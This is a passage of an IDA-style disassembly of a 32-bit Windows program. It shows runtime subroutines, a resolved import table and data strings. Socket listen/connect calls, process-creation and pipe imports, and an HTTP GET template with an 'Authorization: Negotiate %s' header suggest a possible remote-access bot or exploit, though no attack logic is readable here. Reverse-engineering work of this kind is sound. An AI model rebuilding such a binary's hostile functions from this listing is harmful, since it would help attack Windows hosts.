mov dword ptr [ebp-3Ch], offset off_421CA0
call sub_420B09
pop esi
sub_4208DC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_420936 proc near ; CODE XREF: sub_420973+20p
; DATA XREF: .text:004220D4o
mov eax, offset loc_420C18
call sub_4162F0
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C8C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404CE4
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_420AB5
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_420936 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420973 proc near ; DATA XREF: .text:00421CA8o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4209AC
lea eax, [ebp+var_1C]
push offset dword_4220D0
push eax
call sub_420B09
loc_420990: ; DATA XREF: .text:off_421CA0o
push esi
mov esi, ecx
call sub_420936
test [esp+20h+var_18], 1
jz short loc_4209A6
push esi
call sub_41630F
pop ecx
loc_4209A6: ; CODE XREF: sub_420973+2Aj
mov eax, esi
pop esi
retn 4
sub_420973 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4209AC proc near ; CODE XREF: sub_420973+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_4207F1
mov dword ptr [esi], offset off_421CA0
mov eax, esi
pop esi
retn 4
sub_4209AC endp
; =============== S U B R O U T I N E =======================================
sub_4209C4 proc near ; DATA XREF: .text:0042300Co
; FUNCTION CHUNK AT 004209FA SIZE 0000000C BYTES
test byte_46BDF4, 1
jnz short loc_4209D4
or byte_46BDF4, 1
loc_4209D4: ; CODE XREF: sub_4209C4+7j
call sub_4209EE
test byte_46D180, 1
jnz short loc_4209E9
or byte_46D180, 1
loc_4209E9: ; CODE XREF: sub_4209C4+1Cj
jmp loc_4209FA
sub_4209C4 endp
; =============== S U B R O U T I N E =======================================
sub_4209EE proc near ; CODE XREF: sub_4209C4:loc_4209D4p
push offset nullsub_1
call sub_4166D0
pop ecx
retn
sub_4209EE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4209C4
loc_4209FA: ; CODE XREF: sub_4209C4:loc_4209E9j
push offset nullsub_1
call sub_4166D0
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_4209C4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_420A06 proc near ; CODE XREF: sub_40443B+5Ep
; sub_405398+157p
jmp dword_4211D8
sub_420A06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_420A0C proc near ; CODE XREF: sub_415F5C+23p
; sub_416200+13p
jmp dword_421154
sub_420A0C endp
; =============== S U B R O U T I N E =======================================
sub_420A12 proc near ; DATA XREF: .text:off_421CC8o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_420AB5
test [esp+4+arg_0], 1
jz short loc_420A28
push esi
call sub_41630F
pop ecx
loc_420A28: ; CODE XREF: sub_420A12+Dj
mov eax, esi
pop esi
retn 4
sub_420A12 endp
; =============== S U B R O U T I N E =======================================
sub_420A2E proc near ; CODE XREF: sub_42070A+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_421CC8
push dword ptr [edi]
call sub_415B10
inc eax
push eax
call sub_416655
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_420A5D
push dword ptr [edi]
push eax
call sub_415A20
pop ecx
pop ecx
loc_420A5D: ; CODE XREF: sub_420A2E+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_420A2E endp
; =============== S U B R O U T I N E =======================================
sub_420A6B proc near ; CODE XREF: sub_4207F1+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_421CC8
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_420AA8
push dword ptr [edi+4]
call sub_415B10
inc eax
push eax
call sub_416655
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_420AAE
push dword ptr [edi+4]
push eax
call sub_415A20
pop ecx
pop ecx
jmp short loc_420AAE
; ---------------------------------------------------------------------------
loc_420AA8: ; CODE XREF: sub_420A6B+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_420AAE: ; CODE XREF: sub_420A6B+2Ej
; sub_420A6B+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_420A6B endp
; =============== S U B R O U T I N E =======================================
sub_420AB5 proc near ; CODE XREF: sub_420798+2Bp
; sub_42084E+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_421CC8
jz short locret_420ACA
push dword ptr [ecx+4]
call sub_41630F
pop ecx
locret_420ACA: ; CODE XREF: sub_420AB5+Aj
retn
sub_420AB5 endp
; ---------------------------------------------------------------------------
mov eax, [ecx+4]
test eax, eax
jnz short locret_420AD7
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_420AD7: ; CODE XREF: .text:00420AD0j
retn
; =============== S U B R O U T I N E =======================================
sub_420AD8 proc near ; CODE XREF: .text:00420AF0p
mov dword ptr [ecx], offset off_421CE8
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_420AEC
push ecx
call sub_415C9B
pop ecx
locret_420AEC: ; CODE XREF: sub_420AD8+Bj
retn
sub_420AD8 endp
; ---------------------------------------------------------------------------
loc_420AED: ; DATA XREF: .text:off_421CE8o
push esi
mov esi, ecx
call sub_420AD8
test byte ptr [esp+8], 1
jz short loc_420B03
push esi
call sub_41630F
pop ecx
loc_420B03: ; CODE XREF: .text:00420AFAj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420B09 proc near ; CODE XREF: sub_4206B0+54p
; sub_42077B+18p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_421CF0
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_421188 ; RaiseException
pop edi
pop esi
leave
retn 8
sub_420B09 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_420B44 proc near ; DATA XREF: .text:00421E9Co
; FUNCTION CHUNK AT 00404AD7 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_404AD7
sub_420B44 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_420B62
mov ecx, [ebp+8]
jmp loc_404AD7
; ---------------------------------------------------------------------------
locret_420B62: ; CODE XREF: .text:00420B54j
retn
; ---------------------------------------------------------------------------
loc_420B63: ; DATA XREF: sub_40467Co
mov eax, offset dword_421EA0
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+14h]
jmp loc_404AD7
; ---------------------------------------------------------------------------
loc_420B78: ; DATA XREF: .text:00421EC8o
lea ecx, [ebp-1Ch]
jmp loc_404AD7
; ---------------------------------------------------------------------------
loc_420B80: ; DATA XREF: sub_40481Bo
mov eax, offset dword_421ECC
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
loc_420B8C: ; DATA XREF: sub_404DB8o
mov eax, offset dword_421F1C
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_404AD7
; ---------------------------------------------------------------------------
loc_420BA0: ; DATA XREF: sub_4206B0o
mov eax, offset dword_421FB8
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-14h]
jmp sub_420AB5
; ---------------------------------------------------------------------------
loc_420BB4: ; DATA XREF: sub_42070Ao
mov eax, offset dword_421FE0
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_420AB5
; ---------------------------------------------------------------------------
loc_420BC8: ; DATA XREF: sub_420798o
mov eax, offset dword_422028
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_420AB5
; ---------------------------------------------------------------------------
loc_420BDC: ; DATA XREF: sub_4207F1o
mov eax, offset dword_422050
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_420AB5
; ---------------------------------------------------------------------------
loc_420BF0: ; DATA XREF: sub_42084Eo
mov eax, offset dword_422078
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_404AD7
; ---------------------------------------------------------------------------
loc_420C04: ; DATA XREF: sub_4208DCo
mov eax, offset dword_4220E0
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_420AB5
; ---------------------------------------------------------------------------
loc_420C18: ; DATA XREF: sub_420936o
mov eax, offset dword_422108
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
dd 0F7h dup(0)
dword_421000 dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipedword_421004 dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableAdword_421008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_420119+261r
dword_42100C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_420119+B9r
dword_421010 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_421014 dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtrdword_421018 dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_42101C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_41E7F5+6r
dword_421020 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_421024 dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_41DCE8:loc_41DD3Br
dword_421028 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_41DA93+12Dr
dword_42102C dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_41DA93+8Dr
dword_421030 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_41D4EF+166r ...
dword_421034 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_41D7B5+143r
dword_421038 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_42103C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_421040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_41D3BD+E1r
dword_421044 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_421048 dd 7C80C058h ; resolved to->KERNEL32.ExitThreaddword_42104C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_421050 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4010B2+2D4r ...
dword_421054 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_4018CB+FFr
dword_421058 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_40A9D8+183r ...
dword_42105C dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_40B078+Dr ...
dword_421060 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_40282F+E3r ...
dword_421064 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_4030B0+65r ...
dword_421068 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_406978+80r ...
dword_42106C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_4033B6+150r ...
dword_421070 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_409D34+AEr ...
dword_421074 dd 7C8312E5h ; resolved to->KERNEL32.TransactNamedPipedword_421078 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_406048+1C3r ...
dword_42107C dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_4071B6+58r ...
dword_421080 dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatA ; sub_40A9D8+1B6r
dword_421084 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatA ; sub_40A9D8+19Fr
dword_421088 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_4071B6+12Br ...
dword_42108C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_4071B6+10Br ...
dword_421090 dd 7C810A77h ; resolved to->KERNEL32.GetFileSize ; sub_406978+38r ...
dword_421094 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_409D34+10Fr ...
dword_421098 dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_4087CA+C0r ...
dword_42109C dd 7C80E7ECh ; resolved to->KERNEL32.FileTimeToSystemTimedword_4210A0 dd 7C80E866h ; resolved to->KERNEL32.FileTimeToLocalFileTimedword_4210A4 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_4062F7+5DCr ...
dword_4210A8 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_4087CA+26r
dword_4210AC dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_40B61A+259r ...
dword_4210B0 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4210B4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4210B8 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4210BC dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_4078DF+241r
dword_4210C0 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_40891C:loc_408E0Cr ...
dword_4210C4 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_41A77A+15r ...
dword_4210C8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_409D34+FBr ...
dword_4210CC dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageAdword_4210D0 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_4210D4 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLockdword_4210D8 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_4210DC dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_4210E0 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_4210E4 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_4210E8 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_4210EC dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_409EBC+B4r ...
dword_4210F0 dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_4210F4 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_40C574+1BFr ...
dword_4210F8 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_40CD3A+3C9Br
dword_4210FC dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcessdword_421100 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_421104 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_413BE5+Cr ...
dword_421108 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipedword_42110C dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; .text:004140F2r ...
dword_421110 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_421114 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_40C48C+DFr ...
dword_421118 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_40CD3A+46F3r ...
dword_42111C dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_413C50+184r ...
dword_421120 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_421124 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_421128 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_40C574+2FAr
dword_42112C dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_421130 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_414F15+27r
dword_421134 dd 7C835E8Fh ; resolved to->KERNEL32.MoveFileAdword_421138 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_41C639+20Dr ...
dword_42113C dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameA ; .text:00414011r
dword_421140 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_413EDB+1Fr ...
dword_421144 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_421148 dd 7C830B14h ; resolved to->KERNEL32.GetLogicalDrivesdword_42114C dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_41737F+C6r ...
dword_421150 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_418CE8+2C5r ...
dword_421154 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_421158 dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformation ; sub_41EA02+38r
dword_42115C dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_421160 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_41737F+22Dr ...
dword_421164 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_41D4EF+59r
dword_421168 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_42116C dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_421170 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableAdword_421174 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_421178 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_42117C dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_4197BC+120r ...
dword_421180 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_4193CB+51r ...
dword_421184 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtrdword_421188 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_420B09+2Er
dword_42118C dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_421190 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_41C639+A7r
dword_421194 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_41C639+14Dr ...
dword_421198 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_41CA9C+14r ...
dword_42119C dd 7C809915h ; resolved to->KERNEL32.GetACPdword_4211A0 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_4211A4 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_4211A8 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsA align 10h
dword_4211B0 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_4059FC+8Er
dword_4211B4 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40597F+15r
dword_4211B8 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_4211BC dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_4211C0 dd 71AB3E00h ; resolved to->WS2_32.binddword_4211C4 dd 71AB88D3h ; resolved to->WS2_32.listendword_4211C8 dd 71AC1028h ; resolved to->WS2_32.acceptdword_4211CC dd 71AB4FD4h ; resolved to->WS2_32.gethostbynamedword_4211D0 dd 71AC0BDEh ; resolved to->WS2_32.shutdowndword_4211D4 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_405398+115r
dword_4211D8 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4211DC dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_402DD1+2Ar ...
dword_4211E0 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_40297A+EEr ...
dword_4211E4 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_402DD1+49r ...
dword_4211E8 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_402DD1+64r ...
dword_4211EC dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40282F+135r ...
dword_4211F0 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40297A+26Dr ...
dword_4211F4 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_402DD1+154r ...
align 10h
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40481B+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_421240 dq 1.388888888888889e-2 ; DATA XREF: sub_404630+2Fr
dbl_421248 dq 1.666666666666667e-1 ; DATA XREF: sub_404630+15r
dbl_421250 dq 1.333333333333333 ; DATA XREF: sub_40467C+7Ar
dword_421258 dd 2 dup(0) ; sub_404B91+57o ...
dword_421260 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_421660 dq 9.765625e-4 ; DATA XREF: sub_40BBF7+2B8r
; sub_40BBF7+2CDr ...
dbl_421668 dq -3.0517578125e-5 ; DATA XREF: sub_413F12+1Er
dbl_421670 dq 1.0 ; DATA XREF: sub_415D04+6Cr
; sub_415E4B+6Cr ...
dword_421678 dd 0FFFFFFFFh, 417BEFh, 417C03hbyte_421684 db 6 ; DATA XREF: sub_417D6C:loc_417DC3r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: .text:off_4383ECo
unicode 0, <(null)>,0
align 10h
aNull_0 db '(null)',0 ; DATA XREF: .text:off_4383E8o
align 4
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_418AD0+8Eo
align 10h
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_418AD0+4Fo
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .text:off_43A63Co
align 10h
dbl_4217E0 dq 0.0 ; DATA XREF: sub_41A227+8Cr
; sub_41A227+ACr ...
dbl_4217E8 dq 4.195835e6 ; DATA XREF: sub_41A73C+Fr
dbl_4217F0 dq 3.145727e6 ; DATA XREF: sub_41A73C+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41A77A+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41A77Ao
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_41A8A1+93o
align 4
dword_421828 dd 0FFFFFFFFh, 41AF8Ch, 41AF96h, 0dword_421838 dd 0FFFFFFFFh, 0 dd offset loc_41B112
align 8
dd offset sub_41B0F0
dd offset sub_41B0FA
dword_421850 dd 0FFFFFFFFh, 41B342h, 41B346h, 0dword_421860 dd 0FFFFFFFFh, 41B3A4h, 41B3ADh, 0dword_421870 dd 0FFFFFFFFh, 0 dd offset loc_41B47D
align 10h
dd offset loc_41B469
dd offset loc_41B46D
dword_421888 dd 0FFFFFFFFh, 0 dd offset loc_41B4D3
align 8
dd offset loc_41B4BF
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0B4h, 41h, 0
